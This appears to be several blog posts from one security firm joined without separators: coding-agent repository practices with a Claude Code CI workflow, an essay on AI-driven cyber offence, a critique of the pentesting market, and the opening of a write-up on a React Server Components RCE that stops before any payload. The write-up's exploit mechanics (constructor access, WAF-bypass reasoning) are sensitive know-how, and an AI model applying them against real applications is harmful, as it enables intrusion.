Affordance: a use or purpose that a thing can have, that people notice as part of the way they see or experience it.

For a coding agent like Claude Code or Cursor to produce productive code instead of "AI slop" that becomes expensive to maintain and clean up later, building a codebase with obvious structure and automated guardrails becomes important.

Even the smartest models today can't possibly reason about every edge case without a good harness. And even with coding agents like Claude Code, designing repositories in a thoughtful way can go a long way in improving the quality of the code.

A repository should be treated less like a pile of code that can be executed, and more like an execution environment for agents. Good vibe coding, therefore, would mean that the environment provides:

• Fast validation against "bad engineering"
• A constrained blast radius
• Guardrails that enforce invariants before commiting
• Tests and scripts that the agent can use to "vibe-check" itself

Make the repository legible to agents

Use pnpm and set up a monorepo. If you want to work across multiple repositories for frontend and various backend microservices, you'll need to either make your coding agent context switch across these repositories, or provide them with overly broad permissions so that they can access all repositories in the same session. This isn't nice. So just use a monorepo.

apps/
  frontend/
  backend/
docs/
  architecture.md
  conventions.md
packages/
  eslint-config/
  shared-utils/
  shared-tyles/
  typescript-config/
CLAUDE.md
package.json
pnpm-lock.yaml
pnpm-workspace.yaml
turbo.json

The monorepo structure allows you to create multiple apps that use shared packages. These can be utilities and type definitions. In addition, I find it useful to standardise ESLint and TypeScript configurations in a shared package, so that they can be easily imported in new apps and packages.

For example, once you export an ESLint configuration like this in a shared package:

// packages/eslint-config/base.js
import js from '@eslint/js'
import eslintConfigPrettier from 'eslint-config-prettier'
import turboPlugin from 'eslint-plugin-turbo'
import tseslint from 'typescript-eslint'
import onlyWarn from 'eslint-plugin-only-warn'
 
/**
 * A shared ESLint configuration for the repository.
 *
 * @type {import("eslint").Linter.Config[]}
 * */
export const config = [
  js.configs.recommended,
  eslintConfigPrettier,
  ...tseslint.configs.recommended,
  {
    plugins: {
      turbo: turboPlugin,
    },
    rules: {
      'turbo/no-undeclared-env-vars': 'warn',
      '@typescript-eslint/no-unused-expressions': 'off',
      '@typescript-eslint/no-unused-vars': [
        'warn',
        {
          argsIgnorePattern: '^_',
          varsIgnorePattern: '^_',
          caughtErrorsIgnorePattern: '^_',
        },
      ],
    },
  },
  {
    plugins: {
      onlyWarn,
    },
  },
  {
    ignores: ['dist/**'],
  },
]

Each app and package can simply import from this configuration.

// apps/frontend/eslint.config.mjs
import { config } from '@my-project/eslint-config/base'
export default config

Skills encapsulate best practices

Skills like nestjs-best-practices and typescript-advanced-types can help coding agents produce idiomatic code. Of course, a lot of this is strongly opinionated, so we also write our own skills to encapsulate the best practices we've learnt over the years. If you don't know what those best practices should be, Google this or point AI at an example repository that demonstrates strong software engineering principles, and have it come up with its own skill.

We have engineers using all sorts of different agents: Claude, Codex, Cursor, …, so if we want these skills to be useful and shared across team members, we need every coding agent to use the same set of skills.

That's why skills are stored in .agents, and .codex, .claude, etc. symlink to the skills stored in the main .agents directory.

.agents/
  skills/
    typescript-expert/
      SKILL.md
    typescript-advanced-types/
      SKILL.md
    [...]
.codex/
  skills/
    typescript-expert -> ../../agents/skills/typescript-expert
    typescript-advanced-types -> ../../agents/skills/typescript-advanced-types
    [...]
.claude/
  skills/
    typescript-expert -> ../../agents/skills/typescript-expert
    typescript-advanced-types -> ../../agents/skills/typescript-advanced-types
    [...]
[...]

Documentation that agents read and maintain

A CLAUDE.md (or equivalent), if written well, goes a long way in providing self-evolving documentation. This documentation can outline architecture, tech stack, but also more importantly, rules that the AI agent should abide by.

# VibeSlop - The Best Vibe Coded Application
 
## Overview
 
VibeSlop has a NestJS backend and a Nuxt frontend. It is a B2B AI SaaS.
 
[...]
 
## Notion Documentation
 
**IMPORTANT**: VibeSlop has comprehensive documentation in Notion that should be kept in sync with code changes.
 
**Main page**: https://notion.so/[...]
 
### Documentation Structure
 
| Section        | Page ID    | Description                    |
| -------------- | ---------- | ------------------------------ |
| Authentication | `DEADBEEF` | Auth guards, token types, RBAC |
| [...]          | [...]      | [...]                          |
 
### When to Update Notion Docs
 
Update the relevant Notion page when:
 
- Adding new API endpoints → Update API Reference
- Adding/modifying entities → Update Database & Entities
- Changing auth guards or token handling → Update Authentication
 
[...]
 
### How to Update
 
Use the Notion MCP tools:
 
- `mcp__notionMCP__notion-fetch` - Read existing page content
- `mcp__notionMCP__notion-update-page` - Update page content
- `mcp__notionMCP__notion-create-pages` - Create new nested pages
 
[...]
 
## AI Coding Rules (MANDATORY)
 
These rules are non-negotiable. Every code change — whether new feature, bugfix, or refactor — must comply. Violations must be fixed before committing.
 
### DTO & OpenAPI Contract
 
[...]
 
### TypeScript Strictness
 
- **No casting** except `as const`. No `as unknown as X`, `as any`, `as SomeType`, `@ts-ignore`, `// @ts-expect-error`.
- **Use enums** instead of magic strings. If a value has a fixed set of options, define an enum.
- **Use optional fields sparingly** — prefer union types (`string | null`) over optional (`string?`) when the field is semantically required but may be absent.
- **No re-declaring types** that already exist in `@my-project/shared-types`, entity definitions, or generated code.
- `pnpm check-types` must pass before committing.
 
### Architecture
 
[...]
 
### Minimal Changes / No Slop
 
AI-generated code accumulates: narration comments, single-use helpers, dead code from earlier iterations, error handling for cases that can't happen. Before declaring done, re-read your own diff with a hostile eye and cut everything the current implementation doesn't need. The principle is that a bug fix does not need surrounding cleanup, a one-shot change does not need a helper, and previous iterations are obsolete the moment a later iteration supersedes them.
 
- **Re-read the diff end-to-end before finishing.** After several iterations, files carry leftovers — replaced methods, unused imports, stale branches, helpers that nothing calls anymore. Delete them. Git has the history; the codebase does not need a tombstone.
- **No narration comments.** Don't explain WHAT (names do that) or reference the task ("added for X", "used by Y flow", "handles issue Z"). Only write a comment when the WHY is non-obvious: a hidden constraint, a workaround, a surprising invariant.
  - ✗ `// Loop through findings and send feedback to Slack`
  - ✗ `// Added for the unfurl flow` / `// TODO: remove old logic once migrated`
  - ✓ `// Stripe retries webhooks on 5xx — dedupe on event.id before mutating state`
- **No commented-out code, no "removed X" tombstones, no backwards-compat shims for code you just deleted in the same PR.** If it's gone, it's gone. Don't keep a renamed `_oldMethod` "just in case".
- **No single-use abstractions.** Don't create a helper, wrapper, base class, or custom decorator until a second caller exists. Three similar lines beats a premature abstraction. `packages/shared-utils/src/status-mapper.ts` is what justified extraction looks like — used across `scan/`, `findings/`, and `cost-estimation/`. Don't manufacture that bar; let duplication prove it.
- **No speculative error handling.** Trust internal callers and framework guarantees. DTOs already validate controller input via `class-validator` — a service that receives a typed `SendFeedbackDto` (`src/findings/dto/send-feedback.dto.ts`) does not re-check that `reaction` is a string. Validate only at true boundaries: HTTP input, webhook payloads, external API responses, untyped env vars.
  - ✗ `try { return await this.repo.findOne(...) } catch (e) { throw e }`
  - ✗ `if (!user) throw new Error('user required')` where the parameter type is `User`, not `User | undefined`
  - ✗ Wrapping a single `repo.save()` in a try/catch that logs and rethrows
- **Prefer editing existing files and reusing existing types.** Search `src/utils/`, `src/services/`, `src/dto/`, and `@my-project/shared-utils` before writing a new helper. Reuse `PaginationDto` (`src/dto/pagination.dto.ts`) for paginated endpoints instead of defining `page`/`limit` again. Reuse entity types from `@my-project/shared-types` instead of redeclaring shapes. Don't split a 200-line service into four files unless there's an actual reason.
- **Keep the shape minimal.** Controllers stay thin — validate → service → return, no branching, no queries (see `src/findings/findings.controller.ts`). DTOs carry request/response fields only, decorated with `@ApiProperty` + `class-validator` — nothing more (see `src/findings/dto/send-feedback.dto.ts`, `src/dto/pagination.dto.ts`). Entities stay as columns + relations — no computed getters or lifecycle hooks unless actually needed (see `src/seat/organization-developer.entity.ts`).
- **Frontend caveat:** UI iteration is where slop compounds fastest — unused props, stale Tailwind classes, dead conditional branches from designs two revs ago, state nothing reads. Same rule applies with more force: read the component top-to-bottom against the current design before declaring done, and delete anything the current design doesn't use.
 
### Quality Gates
 
- Tests must pass (`pnpm test`) before committing.
- Linter must pass (`pnpm lint`) before committing.
- Type-checker must pass (`pnpm check-types`) before committing.

A few things here:

1. We enforce self-documenting development by instructing the agent to update Notion documentation. This assumes that the Notion MCP is used.

2. We enforce AI coding rules based on behaviour we've observed in the past. For example, we saw that frontend code produced a lot of slop due to the nature of UI iteration: it's meant to produce lots of different variations until the developer is happy with the result. This means that often times, coding agents leave a lot of stale and dead code from previous iterations. We found that enforcing the "minimal changes" rule helped a lot.

"Garbage collection" for slop

Even with our best efforts, "slop code" is inevitable. It's not like humans didn't produce slop code before. But AI allowed us to combat this by periodically auditing the codebase for things like dead code (functions with no references), outdated documentation, etc.

We did this by creating a GitHub Actions workflow that just runs Claude Code every 24 hours with prompts that ask it to:

1. Clean up poor code quality based on a set of rules we maintain in the repository under docs/.
2. Update the CLAUDE.md above based on the latest code changes.

name: Claude Garbage Collection
on:
  workflow_dispatch:
  schedule:
    - cron: '0 0 * * *'
 
concurrency:
  group: claude-garbage-collection
  cancel-in-progress: false
 
jobs:
  cleanup:
    strategy:
      fail-fast: false
      matrix:
        target_branch:
          - staging
    runs-on: ubuntu-latest
    permissions:
      contents: write
      pull-requests: write
      issues: write
      id-token: write
      actions: read
    steps:
      - name: Checkout repository
        uses: actions/checkout@v4
        with:
          fetch-depth: 1
          ref: ${{ matrix.target_branch }}
 
      - name: Setup pnpm
        uses: pnpm/action-setup@v3
        with:
          version: 10
 
      - id: auth
        uses: google-github-actions/auth@v2
        with:
          workload_identity_provider: ${{ secrets.GCP_WORKLOAD_IDENTITY_PROVIDER }}
          service_account: ${{ secrets.GCP_SERVICE_ACCOUNT }}
          token_format: access_token
 
      - name: Set NPM_TOKEN for Artifact Registry
        run: echo "NPM_TOKEN=${{ steps.auth.outputs.access_token }}" >> "$GITHUB_ENV"
 
      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '24.x'
          cache: 'pnpm'
 
      - name: Install dependencies
        run: pnpm install --frozen-lockfile
 
      - name: Run Claude garbage collection task
        id: claude-cleanup
        uses: anthropics/claude-code-action@v1
        with:
          claude_code_oauth_token: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }}
          base_branch: ${{ matrix.target_branch }}
          prompt: |
            Read `CLAUDE.md` and `docs/cleanup/README.md`. Use `docs/cleanup/` as the source of truth for this garbage collection pass.
            Work only against `${{ matrix.target_branch }}` and keep the change scoped to that branch's current state.
            You may make multiple improvements, but each PR must stay focused on one small, safe maintenance concern.
            Leave the repository unchanged if there is no clear cleanup to make.
          additional_permissions: |
            actions: read
          claude_args: "--allowedTools 'Edit,MultiEdit,Write,Read,Glob,Grep,LS,Bash(git:*),Bash(bun:*),Bash(npm:*),Bash(npx:*),Bash(pnpm:*),Bash(gh:*)'"
 
  sync-claude-md:
    strategy:
      fail-fast: false
      matrix:
        target_branch:
          - staging
    runs-on: ubuntu-latest
    permissions:
      contents: write
      pull-requests: write
      issues: write
      id-token: write
      actions: read
    steps:
      - name: Checkout repository
        uses: actions/checkout@v4
        with:
          fetch-depth: 1
          ref: ${{ matrix.target_branch }}
 
      - name: Sync CLAUDE.md with codebase
        id: claude-md-sync
        uses: anthropics/claude-code-action@v1
        with:
          claude_code_oauth_token: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }}
          base_branch: ${{ matrix.target_branch }}
          prompt: |
            Your sole task is to update all `CLAUDE.md` files so they accurately reflect the current codebase on the `${{ matrix.target_branch }}` branch.
 
            Steps:
            1. Read every `CLAUDE.md` file in the repo (root `.claude/CLAUDE.md` and any nested ones like `apps/my-app/CLAUDE.md`, etc.).
            2. Audit each section against the actual codebase:
               - **Project structure**: list directories under `apps/my-app/src/` and update the tree if modules were added, renamed, or removed.
               - **Key entities**: check `apps/my-app/src/**/entities/*.entity.ts` and update the entity table.
               - **API namespaces**: check all `@Controller()` decorators and update the namespace table.
               - **Key commands**: verify each command in `package.json` scripts still exists.
               - **Environment variables**: check `.env.example` and update the env var list.
               - **Path aliases**: check `tsconfig.json` path mappings.
               - **Shared packages**: check `packages/*/package.json` names.
               - **Guards & auth**: check `src/guards/` and `src/middleware/` for current guard list.
            3. Remove references to files, modules, entities, or endpoints that no longer exist.
            4. Add entries for new modules, entities, or endpoints that are missing from the docs.
            5. Do NOT change style, tone, or conventions sections — only factual/structural sections.
            6. If nothing is out of date, make no changes and do not open a PR.
 
            Keep the PR focused: only `CLAUDE.md` file changes, nothing else.
          additional_permissions: |
            actions: read
          claude_args: "--allowedTools 'Edit,MultiEdit,Write,Read,Glob,Grep,LS,Bash(git:*),Bash(bun:*),Bash(npm:*),Bash(npx:*),Bash(pnpm:*),Bash(gh:*)'"

This produces easily mergable pull requests a lot of the time, and has saved us countless hours of manual refactoring and cleanup. It's almost like a garbage collection engine that cleans up dead code and stale documentation in the background, without needing much manual work from us apart from reviewing (mostly clean) PRs.

Making bad code hard to commit

The shame of asking Claude Code to help you run git commit… well, it's a norm now and lots of people do it. So the best thing to do is to use hooks that enforce quality at commit-time.

You can set this up pretty easily:

pnpm add -D husky lint-staged
pnpm exec husky init

and in package.json:

{
  "lint-staged": {
    "*.{ts,tsx}": ["eslint --fix", "prettier --write"],
    "*.{json,md,yml,yaml}": ["prettier --write"]
  }
}

This ensures that all code at least passes linting and formatting rules before hitting GitHub.

What about tests and typechecking? Now it's time to take this one step further and provide the agent with…

One command to validate everything

Agents need a finish line. Once the feature is complete, functional testing can be easily done using Playwright or Cursor's built-in browser. But how does it know that the code is in good shape for review?

You can create a script like this that type checks, lints, runs unit tests, and produces a production build:

{
  "scripts": {
    "validate": "pnpm typecheck && pnpm lint && pnpm test && pnpm build"
    [...]
  }
}

then instruct the agent through e.g. CLAUDE.md to make use of this command.

Before considering a task complete, run:
pnpm validate

If it fails, fix the errors rather than working around the checks.
Do not remove tests or weaken types unless explicitly asked.

Test-driven development, always

Agents are only good when they can complete the "code → test / validate → code again" loop with high confidence that the test / validate step actually reflects what the developer wants.

This is where the tried-and-tested TDD methodology really shines. First, you describe the intended spec to the agent. You can write a Markdown file for this. Next, the agent generates test cases. Now, you manually inspect those test cases to see if they reflect the behaviour that you want:

it('does not charge customers twice for the same billing period', () => {
  // ...
})

If they don't, then the agent should change the tests. Once you're satisfied with the test spec, then (and only then) get the agent to start doing the real coding work.

For coding agents, a good test suite is not only good documentation, but also serve as great supervision.

CI where local harness engineering isn't enough

Local hooks can only catch so many obvious problems. In the end, CI tests are where many bugs are found before they make it to production.

One example of where CI tests are most useful is for security. It's no secret that vibe coding has produced a lot more software vulnerabilities in recent months! When agents generate code quickly, they also generate more places for auth checks to be skipped, dependencies to sprawl, and business logic assumptions to break.

For example, tools like GitGuardian can catch accidentally-committed secrets, and Socket can catch vulnerable or suspicious dependencies to stop supply-chain attacks.

For deeper application security issues, especially the kinds generic scanners struggle with, you can also use AI-native tools like Hacktron in CI to review pull request for real code-level vulnerabilities: broken authorization, unsafe business logic, and other security regressions that require more context than simple pattern matching.

The advantage of tools like Hacktron is that unlike traditional scanners that still rely on known syntactic patterns and AI reviewers that provide only functional testing and code quality issues, Hacktron finds real security vulnerabilties that are introduced throughout the lifetime of your organisation using context-aware analysis to identify the security issues that Claude and Codex miss.

Always think about affordance

I hope this article has been helpful to you. I've outlined some techniques and ways that we think about vibe coding while enforcing code quality and security.

The key thing to bear in mind is to always think about what your codebase and development environment is affording to the model. The output of your coding agent will depend heavily on that, because the environment dictates the constraints in which these agents operate.

Not because it reads like a scenario piece such as AI 2027, but because the point is more immediate: if frontier models are already finding and exploiting serious zero-days across major software targets, cyber is changing right now.

This is a prediction essay about what happens now.

My basic claim is that as cyber moves from a labor-bound craft industry to a capital-bound one, the economics of offense, defense, and state power change with it.

Cyber was a craft industry

The parts of cyber that people usually mean when they say "advanced" or "sophisticated" have historically looked much closer to guild craftsmanship than industrial production. Good operators built intuition over years: they learned how to read massive codebases, infer system behavior from side channels, chain small observations into a coherent exploit path, and adapt when the blue team reacts.

That kind of work did not scale. If you want twice as much output, you usually need roughly twice as many good people, and those people are hard to find, expensive to retain, and slow to train.

This labor bottleneck has protected the world more than most people realize — a lot of current defensive assumptions only work because attackers have historically faced scarcity too. They could not deeply understand every target. They could not afford attacks against every exposed service. They could not customize every social engineering pretext. So they compromised by concentrating their human resources on a few targets that mattered.

In other words, many systems are not secure in the strong sense. They are secure only because the attacker cannot afford to care enough.

Now, at the frontier, cyber power starts to concentrate among states and a small number of well-capitalized firms that can afford the full stack. At the same time, the marginal cost of many offensive actions collapses, which means the rest of the world gets flooded with cheap offensive capability.

That is the story of Cyber 2028.

The bottleneck moves up the stack

Human expertise does not necessarily disappear, but more of it gets externalized into software and wrapped in systems that can be run repeatedly. What we really get are offensive production stacks that can be parallelized at scale:

• large models trained on code, infrastructure, and logs
• agent loops that can do end-to-end vulnerability identification and exploitation
• large-scale sandboxing and replay environments
• delivery and persistence infrastructure for malware

We often hear that "AI will make everyone a 10x hacker".

While that may be true, it is more important to realise that AI lets a small number of highly capable people scale their judgement far more efficiently than a large number of average people. It is easier to give one top hacker or engineer $100k in tokens than to hire 100 more people and give each of them $1k in tokens.

In this world, we will not have large teams of elite hackers, in the same way that we will not have large software development teams. We will have a handful of skilled operators stretching capital far more efficiently than a large team of average humans ever can.

Actors with deep pockets can buy more parallelism, more data, more evals, more validation, and faster feedback loops. They can run thousands of exploits where a normal team would run ten. They can A/B test phishing variants, exploit chains, and lateral movement plans continuously instead of occasionally. They can fail much faster and improve on each operation so that the next one becomes untracable.

Centralization and democratization, both at once

At first glance, this sounds like a pure concentration story — rich states and hyperscalers win, everyone else loses.

I don't think that's going to be the case. I think that the fixed costs of frontier capability rise while the marginal cost of attacking falls.

The top end of cyber becomes more capital-intensive because the frontier stack is expensive. But once the stack exists, the cost of generating one more phishing lure, one more malware variant, or one more zero-day can become extremely low.

So the paradox is this:

• strategic cyber concentrates
• tactical cyber proliferates

Major states and a few top-capitalized actors may dominate the frontier. But criminals, mercenaries, fraud shops, low-tier APTs, and ordinary nuisance actors all get dragged upward by the falling marginal cost of competence.

Cyber as the new strategic weapon

Cyber weapons start sharing many traits with nuclear weapons, but with some key differences: cyber remains harder to attribute, easier to reuse, and far more useful below the threshold of open conflict. Nuclear weapons are mostly valuable because they are not used. Cyber capability is often valuable precisely because it is used continuously, as long as it is not detected or below the threshold of starting a war.

Yet, at the frontier, cyber does begin to acquire some strategic-weapons-like features.

1. Top-end capability becomes concentrated among a relatively small number of actors who can afford the full stack.
2. Many capabilities are held in reserve rather than burned immediately, such as zero-days and backdoors that provide on-demand access into critical infrastructure and key software supply chains.
3. Deterrence becomes even murkier because states can signal capability without disclosing specifics. It is difficult to determine what access has already been established, what can be turned on in a crisis, and what dependencies are already compromised.

The result is not really a one-to-one replacement for nuclear deterrence. It is something stranger: the battlefield is already being built (even though there is no war), yet no one is completely sure what the battlefield actually looks like.

As frontier cyber becomes more nuclear-like, mutually assured destruction means that smaller players like rogue actors and criminals become the day-to-day threat.

1. The mid-market company that can no longer hide

A mid-sized SaaS company in 2020 could survive by being uninteresting. It might not have world-class security, but it also was not worth an advanced attacker burning much time on.

By 2028, that shelter collapses. The company is now probed constantly by agentic offensive systems that can read public documentation, infer likely cloud architecture from job listings and stack traces, adapt phishing lures to individual employees, and continuously scan for new exploits. Nobody on the attacker side needs to think this company is special in order for them to be a target.

So the security posture of the median firm starts to depend less on whether it is important, and more on whether it can automate defense faster than cheap attackers can automate offense. A lot of firms discover, too late, that they weren't actually secure, just uninteresting.

2. The criminal group with industrial-scale personalization

Today, the average scam or phishing campaign is still constrained by quality. Attackers could spray and pray a thousand targets and get 1 potential compromise, or they could focus on ten and have a far higher conversion rate.

By 2028, criminal groups do have to choose as often. A relatively small organization will be able to run campaigns with information built from breached data, public social graphs, and prior communication patterns. Pretexts will be generated, tested, and adapted automatically. Voice and video impersonation will not be perfect, but "good enough" will do for 90% of people.

Once enough of the offensive stack gets productized, the median criminal operator gets much better without understanding much more.

3. The state that never quite attacks

The median time-to-exploit (TTE) — gap between CVE disclosure and confirmed exploitation — is already negative. The gap between attacker-discovery and defender-discovery is likely much further, and TTE ceases to be a meaningful metric as more capabiltiies are held in reserve.

A capable state in 2028 may have spent years building, validating, and quietly maintaining access into shipping, energy, telecoms, and defense-adjacent supply chains. Not because it intends to use this access immediately, but because this optionality is strategic.

That access sits there in peacetime, allowing espionage while serving as a deterrent.

Cyber at the frontier means that capable nation states have pre-positioned leverage inside the systems that other nation states depend on. If a war breaks out, this leverage allows them to impose devastation on multiple enemy states in milliseconds and without firing a shot. So no war happens, only because starting one would mean the enemy has already won.

Defense is also capital-bound

There is an obvious response to all this: fine, defense gets cheaper too.

Defenders will definitely get better code review, faster triage, and better automated remediation. The best organizations will look dramatically more resilient than they do today.

But this is precisely the problem: resilience starts to become a scale advantage. A large organization with existing capital can restructure into lean teams and concentrate capital on a handful of smart engineers and defenders. A smaller organization will struggle to do the same.

The frontier firms and the strongest states may become more defensible than ever. The median school, hospital, local government, or SMB may become much less defensible, not because defenders there are stupid, but because they cannot afford the fixed costs of industrialized defense.

That has policy consequences because modern societies are only as strong as their softest critical dependencies.

What follows from this?

If this model is even directionally right, then a lot of current cyber policy is aimed at the wrong level of abstraction.

The problem is not simply more cyber attacks. The problem is a structural shift in the economics of capability. Policy that assumes cyber remains bottlenecked mainly by elite labor will age badly.

1. We should expect security capacity to become more uneven, and plan around that explicitly. It is not enough to harden the top 1% of organizations if the supply chain, local government, healthcare, and industrial base remain easy to breach.
2. Resilience matters more than perfect prevention. In a world of abundant low-cost offense, the decisive defensive advantage is often the ability to recover quickly and continue operating under partial compromise.
3. Governments should be careful not to overlearn the concentration half of the story. Yes, frontier cyber may centralize among major powers. But the broader social harm will come less from nation-state capability than from the background radiation of cheap offense everywhere else.

The new cyber order

Cyber stops being a craft industry and becomes an industrial one.

Elite labor gets embedded in capital. A small number of strong actors build offensive and defensive systems that compound.

At the top, cyber power becomes more strategic, more concentrated, and more entangled with state competition. Everywhere else, offensive capability becomes cheaper, more persistent, and much harder to ignore.

The world does not run out of smart defenders. It runs out of organizations that can afford the capital stack required to let those defenders keep up.

The persistent failure of the penetration testing market is often framed as a technical problem: not enough talent, insufficient automation, immature tooling, or attackers moving faster than defenders. This framing is comforting because it implies that incremental technical progress will eventually close the gap. In reality, the core problem is economic. It systematically rewards the appearance of security over the reduction of risk, and it does so through a predictable set of incentive failures that any A-Level Economics student can explain.

The core problem: it is not a market for outcomes, it is a market for signals.

Information Asymmetry and Adverse Selection

Akerlof's market for lemons is a classic example of how information asymmetry can lead to market failure. In the used car market, the seller knows more about the quality of the car than the buyer. It is impossible for the buyer to know the true quality of the car before buying it, so they price for the expected (average) quality. This leads to the high-quality sellers leaving the market because the average price falls below their cost of production, leading the average quality of the market to fall further.

In a similar vein, the penetration testing market adversely selects against the best pentesters, instead selecting for proxy signals: certifications, report length, vulnerability counts, or compliance acceptance. None of these are tightly correlated with real attacker cost or the likelihood of a breach. Again, there are tons of firms with CREST certifications, so the buyer prices for the average. High-quality providers, whose work is slower, more expensive, and harder to explain in a procurement meeting, are crowded out. Lower-quality providers, who can produce predictable findings cheaply and repeatedly, start to dominate the market.

Over time, this drives a race to the bottom. The equilibrium product becomes the "acceptable" pentest: one that produces familiar, low-hanging fruit, fits procurement expectations, and minimizes organizational disruption, regardless of whether it meaningfully models attacker sophistication.

Moral Hazards and Perverse Feedback Loops

Moral hazards occur when one party to a transaction has an incentive to take actions that are not in the best interest of the other party. In the pentesting market, the pentesting firm has an incentive to find issues, not to actually reduce risk. There is no upside for identifying deep systemic flaws that are politically difficult or expensive to fix.

Security teams, meanwhile, are often evaluated on audit success rather than security posture. Their rational incentive is to commission work that passes compliance checks with minimal internal friction. A pentest that uncovers uncomfortable architectural weaknesses creates political cost without guaranteeing budget or remediation authority. A shallow pentest that confirms existing narratives is safer.

This moral hazard produces predictable behavior. Pentests focus on low-hanging fruit. Reports emphasize volume over depth. The same vulnerability classes reappear annually, not because they are hard to fix, but because no one is economically rewarded for ensuring that they are fixed.

Modern application-security tooling exacerbates the problem. Better tools increase visibility into real risk, but visibility generates work. Findings require triage, prioritization, fixes, regressions, and cross-team coordination. For engineering organizations already under delivery pressure, security improvements often appear as a pure tax.

From a narrow organizational perspective, it is rational to underinvest in tools or tests that surface actionable truth without providing remediation capacity. A weak pentest that produces a small, predictable list of issues is less disruptive than a strong system that reveals hundreds of real weaknesses. In this sense, insecurity becomes a form of organizational equilibrium. Unless the tool makes remediation low-friction, it will not be easily adopted.

The Compliance Demand Proxy

Compliance frameworks like SOC 2 and ISO 27001 further distort incentives by acting as demand proxies for security. Pentests are purchased not to actually find meaningful security issues, but because they are required by an external checklist. This moves the goalpost away from realistic attacker behaviour and towards helping the organisation pass the audit.

Fixed-scope, time-boxed engagements are imposed regardless of system complexity or change velocity. Success is defined by the presence of a report, not by the absence of exploitable paths. In this environment, pentesting becomes performative: existing to satisfy third parties, not to inform internal decision-making.

This section of demand almost entirely selects for security theatre.

Pricing Failures and the Race to the Bottom

The dominant pricing models in pentesting — flat fees and hourly rates — are poorly aligned with outcomes. They decouple compensation from exploit difficulty, business impact, or remediation success. Competitive pressure pushes firms to reduce costs through junior staffing, templated methodologies, and superficial checklist-based testing.

Because quality remains largely unobservable, price becomes the primary axis of competition. The market clears not at the price of risk reduction, but at the price of plausible deniability.

Positive Externalities

Markets with positive externalities tend to under-consume because the second-order effects on the ecosystem are not directly felt by the buyer, so they are not priced in.

Security improvements generate positive externalities. A company that fixes systemic vulnerabilities reduces risk not only for itself, but for customers, partners, and the broader ecosystem. However, the cost of remediation is borne immediately and internally, while much of the benefit is diffused over time and external.

This is why companies often deploy cheap fixes that don't remediate fundamental architectural weaknesses, and why the same bug fixed from a previous pentest tends to resurface in another slightly different form later.

Re-aligning Incentives

The failures described above persist not because organizations misunderstand security, but because the current market clears at an equilibrium optimized for compliance, cost containment, and plausible deniability. Any attempt to "fix" the penetration-testing market must therefore focus on changing incentives rather than improving technical capabilities in isolation.

Looking ahead into the next 5 years, how do we improve the market? There is no perfect answer, but some things that come to mind:

1. Re-internalise external responsibilities: moving from one-off pentests that hands off all long-term responsibility to the buyer to a continuous approach that expects long-term, consistent outcomes from the seller. Security products should be designed to stand the test of time, and be viewed as a way to reduce responsibility for the security team.

2. Align pricing with outcomes: selling actionable outcomes, which include both discovery and triaging/remediation, reduces noise and prevents information that cannot be acted on from being marketed as value. Security tooling that creates more work for engineering teams with no corresponding budget or authority is not sustainable. Tools should make remediation low-friction, and organisations should view these tools as reducing work, not increasing it.

3. Reframe compliance as a lagging indicator: rather than being a primary driver of demand, compliance artifacts should be seen as byproducts of a secure system (instead of its objective!). This is a hard one because it requires shifting of internal metrics.

Attempts to improve security by increasing technical capability alone will fail. More accurate testing, better tools, or deeper analysis raise the cost of information without changing who bears responsibility for acting on it. The result is a market that systematically undervalues high-signal work and selects against those who produce it.

In this sense, the failures of the pentesting market are not unique. They mirror the broader economics of prevention: costs are immediate, benefits are invisible, and success is defined by the absence of events that cannot be proven to have been avoided. Markets built on such foundations require deliberate incentive design to function at all.

Absent that design, penetration testing will remain what it largely is today: not a mechanism for reducing risk, but a ritual that allows organizations to proceed as if they had.

This is still an ongoing story, but I'll try to break through the noise and share the technical details of the vulnerability, my thoughts on it, and how Hacktron responded by participating actively in the community effort to remediate the vulnerability.

TL;DR

• CVE-2025-55182 is a critical unauthenticated RCE vulnerability in the React Server Components (RSC) "Flight" protocol.
• Default configurations, such as a Next.js app created with create-next-app@16.0.6 and built for production, are vulnerable with no code changes by the developer.
• Exploitation requires only a single, unauthenticated HTTP request.
• Public RCE exploits are available, and are being actively exploited in the wild.
• Cloudflare, Vercel, and others have implemented WAF mitigations to block exploits. Vercel has introduced a public bug bounty for WAF bypasses.
• Hacktron's research team has identified and reported 3 WAF bypasses to Vercel, and has been working closely with relevant security teams to mitigate the vulnerability.

Update: Some news sources have been calling this a prototype pollution vulnerability. This is incorrect. While public PoCs have used __proto__, this is only used to get the Function constructor. The actual vulnerability is that we can access JavaScript properties like constructor, when these belong to the Object prototype and are not keys of the the object itself.

It is true that the exploit relies on:

1. accessing the constructor property of the Object prototype
2. overwriting a bunch of object properties

But this is not "prototype pollution" as it is strictly defined in security. Prototype pollution means injecting malicious properties into the global Object.prototype, and being able to poison any JS object in the runtime. This would require accessing properties like __proto__ or prototype.

Here, the minimum viable exploit does not require the __proto__ or prototype property within the payload, so simply blacklisting these in a WAF will NOT work.

Background

To understand this vulnerability, we first need some context on React Server Components (RSC) and the Flight protocol.

Server-Side Rendering and Server Components

Prior to SSR, React applications used a fully client-side approach to rendering. The user would receive an HTML file that looked like this:

<!DOCTYPE html>
<html>
  <body>
    <div id="root"></div>
    <script src="/static/js/bundle.js"></script>
  </body>
</html>

That bundle.js script includes everything needed to mount and run the application. Once this script (which also includes React and other third-party dependencies) has been downloaded, React can then render the entire application, placing it in the <div id="root"> element.

The problem is that this leads to a lot of latency for the user, as the entire application needs to be downloaded and parsed before it can be rendered.

To improve this experience, React introduced Server-Side Rendering (SSR), where the HTML is generated on the server and sent to the client. Of course, we still need interactivity and event handlers, so we still include a <script> tag to "hydrate" the application.

Dan Abramov, one of React's core contributors, describes this process as follows:

Hydration is like watering the “dry” HTML with the “water” of interactivity and event handlers.

Nowadays, React components are split into two categories: Server Components and Client Components. By default, all components are Server Components, but we can mark a component as a Client Component by using the use client directive.

The Flight Protocol

In order to support executing function components on the server, and then building the DOM from the results, React needed a way to serialize the React component tree into a format that can be sent to the client. This is where the Flight protocol comes in.

This is a very powerful and complete protocol that, for example, supports sending Promises. This allows the client to render the rest of the application as soon as it receives the initial HTML from the server, while waiting for some asynchronous operations such as database fetches to be completed.

For example, this React component:

export default function Home() {
  return (
    <main>
      <h1>Hello world!</h1>
    </main>
  );
}

would be serialized to the following:

"[\"$\",\"main\",null,{\"children\":[\"$\",\"h1\",null,{\"children\":\"Hello world!\"},\"$c\"]},\"$c\"]"

This is what's contained in the <script> tag in the HTML response.

Server Functions

